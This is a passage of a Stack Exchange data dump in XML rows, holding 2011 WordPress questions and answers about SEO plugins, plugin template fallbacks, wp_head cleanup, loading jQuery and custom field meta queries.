  <row Id="12288" PostTypeId="2" ParentId="11574" CreationDate="2011-03-17T12:30:30.347" Score="0" ViewCount="" Body="&lt;p&gt;Don't do the check on activation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seriously, the best way I can think of is not to check for this on activation, but only in the normal plugin load process. And instead of throwing a warning (I assume you mean a PHP E_WARNING), perhaps putting an admin error box up would make more sense.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-03-17T12:30:30.347" CommentCount="4" />
  <row Id="12290" PostTypeId="2" ParentId="12286" CreationDate="2011-03-17T13:29:39.447" Score="5" ViewCount="" Body="&lt;p&gt;take a look at &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-seo/&quot; rel=&quot;nofollow&quot;&gt;WordPress SEO by Yoast&lt;/a&gt; it will cover :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1) make the title of the page, the&#xA;  title of the post &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;2) make the&#xA;  description based on the first&#xA;  paragraph&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;as for your #3 &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;make the keyword meta by parsing the whole post, retrieve all the relevant word that are more that 3% occurrence, and fill the meta with them&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I highly doubt you will find a plugin that does that for you, but there are a few like&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/keyword-density/&quot; rel=&quot;nofollow&quot;&gt;Keyword Density&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/seo-tool-keyword-density-checker/&quot; rel=&quot;nofollow&quot;&gt;SEO-Tool - Keyword Density Checker&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;which do chack that , so i guess you can use that to update your keywords.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-17T13:29:39.447" />
  <row Id="12291" PostTypeId="2" ParentId="12286" CreationDate="2011-03-17T14:02:13.090" Score="1" ViewCount="" Body="&lt;p&gt;You've identified a lot of requirements.  Although it will need a little initial configuration, I would recommend &lt;a href=&quot;http://wordpress.org/extend/plugins/gregs-high-performance-seo/&quot; rel=&quot;nofollow&quot;&gt;Greg's High Performance SEO&lt;/a&gt; from the wordpress.org/extend as another alternative. I've used it on a prior version of one of my personal sites.  It will definitely handle your #1 and #2 requirements, plus some other customizations.  I am unaware of any plugin that will handle #3.&lt;/p&gt;&#xA;" OwnerUserId="2709" LastActivityDate="2011-03-17T14:02:13.090" />
  <row Id="12292" PostTypeId="2" ParentId="3014" CreationDate="2011-03-17T14:18:20.593" Score="1" ViewCount="" Body="&lt;p&gt;instead of using &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$post_type =&#xA;  get_query_var('post_type');&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You might want to try:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$post_type = get_post_type();&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As somtimes the post type is not set in the query var. This is the case for the default post_type of &quot;post&quot;, so if you want to highlight a post that was listed from a listing page, you will need to use this. get_very_var() just returns an empty string for post types that aren't custom. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('nav_menu_css_class', 'current_type_nav_class', 10, 2 );&#xA;function current_type_nav_class($classes, $item) {&#xA;    $post_type = get_post_type();&#xA;    if ($item-&amp;gt;attr_title != '' &amp;amp;&amp;amp; $item-&amp;gt;attr_title == $post_type) {&#xA;        array_push($classes, 'current-menu-item');&#xA;    };&#xA;    return $classes;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2218" LastActivityDate="2011-03-17T14:18:20.593" />
  <row Id="12293" PostTypeId="2" ParentId="12286" CreationDate="2011-03-17T14:23:55.283" Score="1" ViewCount="" Body="&lt;p&gt;I agree with &lt;strong&gt;Bainternet&lt;/strong&gt; on the recommendation of &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-seo/&quot; rel=&quot;nofollow&quot;&gt;Yoast's SEO plug-in&lt;/a&gt;.  There's absolutely nothing better, and I've tried a lot of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, your goal of auto-generating the description and keywords is a bit ... misguided.  It's not the direction you want to go.  If you're going to do SEO at all, take the time to do it right and draft a different description and set of keywords for each page and post.  Auto-generation will get you nowhere.  Yoast even has &lt;a href=&quot;http://yoast.com/meta-description-seo-social/&quot; rel=&quot;nofollow&quot;&gt;an article explaining the negative impact&lt;/a&gt; of such auto-generation when your links and pages start getting used on other sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're still intent on auto-generation of descriptions, most SEO systems (Yoast's included) will allow you to do that.  Auto-generating keywords is different.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're open to a paid solution (not a free plug-in), I recently came across &lt;a href=&quot;http://clickbumpengine.com/clickbump-seo/&quot; rel=&quot;nofollow&quot;&gt;ClickBump SEO&lt;/a&gt;.  You can auto-generate your focus keyword based on the post/page title, and automatically generate a list of highly-rated similar keywords.  If you're already using them in the post's content, it tells you.  If not, you can work them in to maximize your SEO score.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-03-17T14:23:55.283" />
  <row Id="12294" PostTypeId="1" CreationDate="2011-03-17T14:27:33.283" Score="0" ViewCount="15" Body="&lt;p&gt;in a WP system i recently updated to 3.1 i found out that i can't rotate images in the media page, as i used to. it just going to fade and when it comes back the picture stays the same. why is that? &#xA;someone having the same problem?&#xA;thanks.&lt;/p&gt;&#xA;" OwnerUserId="3603" LastActivityDate="2011-03-17T14:27:33.283" Title="the feature for rotating media files in the media page at the admin panel isn't working" Tags="&lt;media&gt;&lt;media-library&gt;" />
  <row Id="12295" PostTypeId="1" AcceptedAnswerId="12296" CreationDate="2011-03-17T14:29:30.513" Score="2" ViewCount="263" Body="&lt;p&gt;I'm in the midst of building a Wordpress Plugin that adds a custom post type, for which I'd like to include a default template to display.  Essentially, this is an event management plugin, and the custom post type is for the Events.  There's a handful of custom meta fields, as well as a child post type (Performances), so without a default template to display them, using it would be pretty unfriendly.  But I would like theme designers to be able to create their own templates for these post types if desired.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to use the the template provided with my plugin unless the theme provides its own template?  What's the best practice for doing so?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following the advice of Peter Rowell, I caught the template_redirect action and, if the post type was one of mine and a template for it did not exist in the current theme, defaulted to the plugin's template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class FestivityTemplates {&#xA;&#xA;  public static function determineTemplate(){&#xA;    global $post;&#xA;    $standard_type = strpos($post-&amp;gt;post_type, 'fest_');&#xA;&#xA;    if(is_single() &amp;amp;&amp;amp; $standard_type !== false) {&#xA;      FestivityTemplates::loadSingleTemplate($post);&#xA;    }&#xA;  }&#xA;&#xA;  private static function loadSingleTemplate($post) {&#xA;    $template_name = 'single-'.$post-&amp;gt;post_type.'.php';&#xA;    $template = locate_template(array($template_name), true);&#xA;    if(empty($template)) {&#xA;      include(WP_PLUGIN_DIR . '/Festivity/lib/templates/' . $template_name);&#xA;      exit();&#xA;    }&#xA;  }&#xA;}&#xA;&#xA;add_action('template_redirect', array('FestivityTemplates', 'determineTemplate'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3708" LastEditorUserId="3708" LastEditorDisplayName="" LastEditDate="2011-03-22T18:46:52.780" LastActivityDate="2011-03-22T18:46:52.780" Title="Creating a default Custom Post Template that a Theme can override" Tags="&lt;plugins&gt;&lt;custom-post-types&gt;&lt;plugin-development&gt;&lt;template&gt;" AnswerCount="3" FavoriteCount="3" />
  <row Id="12296" PostTypeId="2" ParentId="12295" CreationDate="2011-03-17T14:54:13.697" Score="4" ViewCount="" Body="&lt;p&gt;You might want to look at the routine that WP uses for this: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/locate_template&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;locate_template()&lt;/code&gt;&lt;/a&gt;. It is in &lt;code&gt;wp-includes/theme.php&lt;/code&gt; and is called from a number of functions in that file. Those functions are used by &lt;code&gt;wp-includes/template-loader.php&lt;/code&gt; to select the correct &lt;em&gt;type&lt;/em&gt; of template based on the current page and then walk up the theme hierarchy looking for a match.&lt;/p&gt;&#xA;" OwnerUserId="1958" LastActivityDate="2011-03-17T14:54:13.697" CommentCount="2" />
  <row Id="12298" PostTypeId="2" ParentId="12286" CreationDate="2011-03-17T15:12:40.770" Score="0" ViewCount="" Body="&lt;p&gt;You should use wpSEO.Best plugin for wordpress SEO.&#xA;There are a lot of settings and sergj müller offers a very good support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its not free but it is very good and worth the money.&lt;/p&gt;&#xA;" OwnerUserId="4010" LastActivityDate="2011-03-17T15:12:40.770" />
  <row Id="12299" PostTypeId="1" AcceptedAnswerId="12300" CreationDate="2011-03-17T15:13:53.077" Score="0" ViewCount="298" Body="&lt;p&gt;I know, wp_head() is important, but it inject so much crap into the header, i like to get it out... and just add manually the 2-3 line of code i need..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BUT, and there is always a but, i need the wordpress auto-generated code for : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta name=&quot;description&quot; content=&quot;&quot; /&amp;gt;&#xA;&amp;lt;meta name=&quot;keywords&quot; content=&quot;&quot; /&amp;gt;&#xA;&amp;lt;link rel='canonical' href='http://jlecologia.com/cms/' /&amp;gt; (why not!)&#xA;and&#xA;&amp;lt;meta http-equiv=&quot;Content-Language&quot; content=&quot;fr-FR&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How i can ask for the generation of that... ????&#xA;something like : bloginfo('name') will be fine for me&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;" OwnerUserId="3969" LastActivityDate="2011-03-17T15:27:20.673" Title="Wordpress wp_head() crap" Tags="&lt;post-meta&gt;&lt;seo&gt;&lt;headers&gt;&lt;functions&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="12300" PostTypeId="2" ParentId="12299" CreationDate="2011-03-17T15:25:38.277" Score="5" ViewCount="" Body="&lt;p&gt;You can remove some of the header stuff with the following.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// remove unncessary header info&#xA;function remove_header_info() {&#xA;    remove_action('wp_head', 'rsd_link');&#xA;    remove_action('wp_head', 'wlwmanifest_link');&#xA;    remove_action('wp_head', 'wp_generator');&#xA;    remove_action('wp_head', 'start_post_rel_link');&#xA;    remove_action('wp_head', 'index_rel_link');&#xA;    remove_action('wp_head', 'adjacent_posts_rel_link');&#xA;}&#xA;add_action('init', 'remove_header_info');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The default installation does not include stuff like meta keywords, so that is either a theme or plugin that you are using.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-03-17T15:25:38.277" CommentCount="2" />
  <row Id="12301" PostTypeId="2" ParentId="12299" CreationDate="2011-03-17T15:27:20.673" Score="0" ViewCount="" Body="&lt;p&gt;Have a look here: &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference/wp_head&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Plugin_API/Action_Reference/wp_head&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially you need to add an action for the &lt;code&gt;wp_head&lt;/code&gt; hook, and (probably) remove the other actions that have been associated with the wp_head hook.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-03-17T15:27:20.673" />
  <row Id="12302" PostTypeId="1" CreationDate="2011-03-15T18:35:42.680" Score="0" ViewCount="66" Body="&lt;p&gt;I recently switched my blog from Blogger to Wordpress (Self Hosted). I use Feedburner on Blogger and am trying to use the same feed at Wordpress. Unfortunately the RSS feed isn't changing when I make updates on my new blog. What can I do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Blog: &lt;a href=&quot;http://www.GettingMoreAwesome.com&quot; rel=&quot;nofollow&quot;&gt;http://www.GettingMoreAwesome.com&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Feedburner URL: &lt;a href=&quot;http://feeds.feedburner.com/gettingawesome&quot; rel=&quot;nofollow&quot;&gt;http://feeds.feedburner.com/gettingawesome&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any help - Rishi&lt;/p&gt;&#xA;" LastActivityDate="2011-08-16T22:18:38.057" Title="Feedburner Help: How can I migrate my RSS from Blogger to Wordpress" Tags="&lt;rss&gt;&lt;feedburner&gt;" AnswerCount="2" />
  <row Id="12303" PostTypeId="2" ParentId="12302" CreationDate="2011-03-17T11:41:18.417" Score="0" ViewCount="" Body="&lt;p&gt;You need to change original feed URL into feedburner account with WordPress default feed URL Checkout this article for the reference &lt;a href=&quot;http://bloggertowp.org/redirect-feed-url-from-blogger-to-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://bloggertowp.org/redirect-feed-url-from-blogger-to-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2011-03-17T11:41:18.417" />
  <row Id="12304" PostTypeId="2" ParentId="12295" CreationDate="2011-03-17T16:21:30.337" Score="1" ViewCount="" Body="&lt;p&gt;I don't know if its best practice but when i faced a similar issue i used the_content hook checked the post type to see if its my custom type and if so i returned just what i wanted.&#xA;for example: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('the_content','events_conetnt_display');&#xA;function events_conetnt_display($content){&#xA;    global $post;&#xA;    if (!$post_type == &quot;events&quot;){&#xA;        return $content;&#xA;    }else{&#xA;        remove_filter( 'the_content', 'events_conetnt_display' );&#xA;        $events_meta = get_post_custom($post-&amp;gt;ID);&#xA;        $new_content = '&amp;lt;div class=&quot;event_container&quot;&amp;gt;';&#xA;        $new_content .= '&amp;lt;div class=&quot;event_title&quot;&amp;gt;'.get_the_title($post-&amp;gt;ID).'&amp;lt;/div&amp;gt;';&#xA;        $new_content .= '&amp;lt;div class=&quot;event_description&quot;&amp;gt;'.apply_filters('the_content',get_the_content()).'&amp;lt;/div&amp;gt;';&#xA;        $new_content .= '&amp;lt;div class=&quot;event_start_date&quot;&amp;gt;'.$events_meta['start_date'].'&amp;lt;/div&amp;gt;';&#xA;        $new_content .= '&amp;lt;div class=&quot;event_end_date&quot;&amp;gt;'.$events_meta['start_end'].'&amp;lt;/div&amp;gt;';&#xA;        //...&#xA;        //whatever&#xA;        //...&#xA;        add_filter('the_content','events_conetnt_display');&#xA;        return $new_content;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and my plugin had an option to let the user decide if he whats to use the_content Hook or if he has a custom template for that something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (get_option('use_content_template')){&#xA;  add_filter('the_content','events_conetnt_display');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-17T16:21:30.337" />
  <row Id="12305" PostTypeId="2" ParentId="11173" CreationDate="2011-03-17T16:28:29.030" Score="5" ViewCount="" Body="&lt;p&gt;I wound up working on the exact same thing and this post was very helpful. I used Custom Fields and here is the code that I used to create a list of all events &lt;em&gt;greater than&lt;/em&gt; the current date. Note the extra taxonomy based filters.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php // Let's get the data we need to loop through below&#xA;&#xA;$events = new WP_Query( &#xA;    array(&#xA;        'post_type' =&amp;gt; 'event', // Tell WordPress which post type we want&#xA;        'orderby' =&amp;gt; 'meta_value', // We want to organize the events by date    &#xA;        'meta_key' =&amp;gt; 'event-start-date', // Grab the &quot;start date&quot; field created via &quot;More Fields&quot; plugin (stored in YYYY-MM-DD format)&#xA;        'order' =&amp;gt; 'ASC', // ASC is the other option    &#xA;        'posts_per_page' =&amp;gt; '-1', // Let's show them all.   &#xA;        'meta_query' =&amp;gt; array( // WordPress has all the results, now, return only the events after today's date&#xA;            array(&#xA;                'key' =&amp;gt; 'event-start-date', // Check the start date field&#xA;                'value' =&amp;gt; date(&quot;Y-m-d&quot;), // Set today's date (note the similar format)&#xA;                'compare' =&amp;gt; '&amp;gt;=', // Return the ones greater than today's date&#xA;                'type' =&amp;gt; 'NUMERIC,' // Let WordPress know we're working with numbers&#xA;                )&#xA;            ),&#xA;        'tax_query' =&amp;gt; array( // Return only concerts (event-types) and events where &quot;songs-of-ascent&quot; is performing&#xA;            array(&#xA;                'taxonomy' =&amp;gt; 'event-types',&#xA;                'field' =&amp;gt; 'slug',&#xA;                'terms' =&amp;gt; 'concert',&#xA;                ),&#xA;            array(&#xA;                'taxonomy' =&amp;gt; 'speakers',&#xA;                'field' =&amp;gt; 'slug',&#xA;                'terms' =&amp;gt; 'songs-of-ascent',&#xA;                )&#xA;            )&#xA;        )&#xA;    );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2011-03-17T16:28:29.030" />
  <row Id="12306" PostTypeId="1" CreationDate="2011-03-17T16:39:57.840" Score="0" ViewCount="190" Body="&lt;p&gt;I have a jQuery floating navbar plugin that works fine when all the code is inserted in the head. However the ammount of code in the head became unmanageable so I put the code in the root directory in a file called sscroll.js.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to include the file the following ways but they don't work. (No errors are coming up on firebug)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php wp_enqueue_script('sscroll', 'sscroll.js', array('jquery')); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;sscroll.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;$('#sidecontainer').stickyfloat({duration: 400 });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;sscroll.js&quot;&amp;gt;$('#sidecontainer').stickyfloat({duration: 400 });&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;sscroll.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I prefer using the enqueue script, but I'll be happy with anything that works.&#xA;Any suggestions welcome. Thanks!!!&lt;/p&gt;&#xA;" OwnerUserId="3952" LastActivityDate="2011-03-17T16:53:23.750" Title="How to correctly move jquery script to external file" Tags="&lt;import&gt;" AnswerCount="1" />
  <row Id="12307" PostTypeId="2" ParentId="12306" CreationDate="2011-03-17T16:53:23.750" Score="1" ViewCount="" Body="&lt;p&gt;Use an absolute URL - you say the script is in the root directory, is that the root directory of WordPress? If so;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_enqueue_script( 'sscroll', site_url( 'sscroll.js' ), array( 'jquery' ) ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-03-17T16:53:23.750" CommentCount="1" />
  <row Id="12308" PostTypeId="1" AcceptedAnswerId="12314" CreationDate="2011-03-17T16:54:02.113" Score="0" ViewCount="399" Body="&lt;p&gt;I have installed the more fields plugin which gives me access to a custom field checkbox.  When setting the field up through the plugin the caption says: Creates single checkbox, which key is either on/off.  As you can see by the query I am looking for all the events whose event-archive = on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a better way to do this?  This doesn't return any posts anyways. Is there a better way to build a boolean field?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$archive_query = new WP_Query(&#xA;        array( &#xA;          'post_type'  =&amp;gt; 'event',        // only query events&#xA;          'meta_key'    =&amp;gt; 'event-archive',  // load up the event_date meta&#xA;          'order'       =&amp;gt; 'desc',         // ascending, so earlier events first&#xA;          'posts_per_page' =&amp;gt; '5',&#xA;          'meta_query'  =&amp;gt; array(&#xA;             array(         // restrict posts based on meta values&#xA;              'key'     =&amp;gt; 'event-archive',  // which meta to query&#xA;              'value'   =&amp;gt; 'on',  // value for comparison&#xA;              'compare' =&amp;gt; '=',          // method of comparison&#xA;              'type'    =&amp;gt; 'CHAR'         // datatype, we don't want to compare the string values&#xA;             ) // meta_query is an array of query ites&#xA;            ) // end meta_query array&#xA;          ) // end array&#xA;        ); // close WP_Query constructor call&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2755" LastActivityDate="2011-03-18T09:27:37.337" Title="custom field as a boolean with a checkbox?" Tags="&lt;custom-field&gt;" AnswerCount="1" />
  <row Id="12309" PostTypeId="2" ParentId="11248" CreationDate="2011-03-17T17:10:26.313" Score="1" ViewCount="" Body="&lt;p&gt;I would suggest rolling your own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a metabox that allows posts to store lats and longs on posts.  Then create a page that finds all the posts with the tags that you want that can grab the lats and longs from each post meta data.  Using that post meta data create a json variable in the html that includes all the lat long info for all the posts that have been returned.  Whatever mapping library you use can access the outputted json variable as the data to use for plotting the locations.&lt;/p&gt;&#xA;" OwnerUserId="151" LastEditorUserId="151" LastEditorDisplayName="" LastEditDate="2011-07-11T22:20:41.813" LastActivityDate="2011-07-11T22:20:41.813" />
  <row Id="12310" PostTypeId="1" AcceptedAnswerId="12391" CreationDate="2011-03-17T17:11:02.040" Score="0" ViewCount="136" Body="&lt;p&gt;I have a custom theme. There is no comments.php file, Wordpress is using whatever the default is. I need to modify the comments area, but I want to base my changes off of the default template. Where is the default template and how can I copy it into my own theme's comments.php?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE&#xA;Sorted it out for myself. The following directory contains default fallbacks if a file is not specified in your custom theme - &lt;code&gt;\wordpress\wp-includes\theme-compat\&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I copied the comments.php file from there over to my custom theme and am ready to rock. I was told in a WordPress forum that this file is deprecated though and I should really be building my own. &lt;/p&gt;&#xA;" OwnerUserId="4013" LastEditorUserId="4013" LastEditorDisplayName="" LastEditDate="2011-03-17T19:14:53.697" LastActivityDate="2011-03-18T15:51:27.283" Title="Default comments file and how to copy it" Tags="&lt;theme-development&gt;&lt;comment-form&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="12311" PostTypeId="1" AcceptedAnswerId="12312" CreationDate="2011-03-17T17:12:46.857" Score="0" ViewCount="238" Body="&lt;p&gt;I've read about the WP enqueue_script() function, but if I wanted to use a newer version of jQuery than what my WP installation is using, can I load it through this &amp;amp; WP will use the latest version? or will it load both? or what will happen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1839" LastActivityDate="2011-03-17T17:17:42.563" Title="Loading a newer version of jQuery within WordPress" Tags="&lt;jquery&gt;&lt;wp-enqueue-script&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="12312" PostTypeId="2" ParentId="12311" CreationDate="2011-03-17T17:15:56.717" Score="2" ViewCount="" Body="&lt;p&gt;To replace the default jQuery url, do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_deregister_script( 'jquery' );&#xA;wp_register_script( 'jquery', 'your custom url', ... );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then call &lt;code&gt;wp_enqueue_script( 'jquery' );&lt;/code&gt; as usual.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that various pages in the WP admin might not be compatible with never versions of jQuery, not to mention plugin scripts.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-03-17T17:15:56.717" />
  <row Id="12313" PostTypeId="2" ParentId="12311" CreationDate="2011-03-17T17:17:42.563" Score="0" ViewCount="" Body="&lt;p&gt;You can (de)register the builtin jquery with the following functions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_deregister_script('jquery');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And register a new jquery library:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_register_script('jquery', 'http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js', array(), '1.4', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3817" LastActivityDate="2011-03-17T17:17:42.563" CommentCount="2" />
  <row Id="12314" PostTypeId="2" ParentId="12308" CreationDate="2011-03-17T17:30:39.700" Score="0" ViewCount="" Body="&lt;p&gt;Have you already looked at the output of WP_Query, if you don't submit the &quot;meta_query&quot; key? Do you get the posts for the event-posttype?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If yes, then you could check what the &quot;more fileds&quot;-plugin puts in the &quot;event-archive&quot; custom field. Maybe you have to set the value to integer 1 or just submit a boolean true. e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array(&#xA;'key'     =&amp;gt; 'event-archive', &#xA;'value'   =&amp;gt; 1&#xA;)&#xA;&#xA;array(&#xA;'key'     =&amp;gt; 'event-archive', &#xA;'value'   =&amp;gt; true&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've just installed the plugin, created a new meta field &quot;event-archive&quot; of type &quot;checkbox&quot; and some posts with and without this meta value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use the following query, I get all posts from posttype &quot;event&quot; with the metavalue selected. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;'post_type' =&amp;gt; 'event',&#xA;'order' =&amp;gt; 'desc',&#xA;'posts_per_page' =&amp;gt; '5',&#xA;'numberposts' =&amp;gt; -1,&#xA;'meta_query' =&amp;gt; array(&#xA;    array(&#xA;        'key' =&amp;gt; 'event-archive',&#xA;        'value' =&amp;gt; 1,&#xA;        'compare' =&amp;gt; '=',&#xA;        'type' =&amp;gt; 'CHAR'&#xA;    )&#xA;)&#xA;&#xA;$archive_posts = get_posts($args);&#xA;print_r($archive_posts);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You can also use WP_Query if you like&lt;/li&gt;&#xA;&lt;li&gt;The &quot;meta_query&quot; parameter requires WordPress 3.1&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3817" LastEditorUserId="3817" LastEditorDisplayName="" LastEditDate="2011-03-18T09:27:37.337" LastActivityDate="2011-03-18T09:27:37.337" CommentCount="2" />
  <row Id="12315" PostTypeId="2" ParentId="12295" CreationDate="2011-03-17T17:42:48.033" Score="2" ViewCount="" Body="&lt;p&gt;There's also a &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Filter_Reference#Template_Filters&quot; rel=&quot;nofollow&quot;&gt;bunch of template related filters&lt;/a&gt; (scroll down) you can use to &lt;strong&gt;'hijack' the templates requests and apply your own logic&lt;/strong&gt; to them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example how to hijack the calls for &lt;code&gt;single-saalon_events.php&lt;/code&gt; and &lt;code&gt;archive-saalon_events.php&lt;/code&gt; and use the files from &lt;code&gt;/your-plugin/templates/&lt;/code&gt; folder instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Template for displaying a single event&#xA;add_filter( 'single_template', 'saalon_events_single_template') ) ;&#xA;function saalon_events_single_template($single_template) {&#xA;    global $post;           &#xA;    if ($post-&amp;gt;post_type == 'saalon_events')&#xA;        $single_template = dirname( __FILE__ ) . '/templates/saalon_events_single.php';&#xA;    return $single_template;&#xA;}&#xA;&#xA;# Template for displaying the events archive&#xA;add_filter( 'archive_template', 'saalon_events_archive_template') ) ;&#xA;function saalon_events_archive_template($archive_template) {&#xA;    if ( is_post_type_archive('saalon_events') ) // since 3.1&#xA;        $archive_template = dirname( __FILE__ ) . '/templates/saalon_events_archive.php';&#xA;    return $archive_template;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Resources:&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Filter_Reference#Template_Filters&quot; 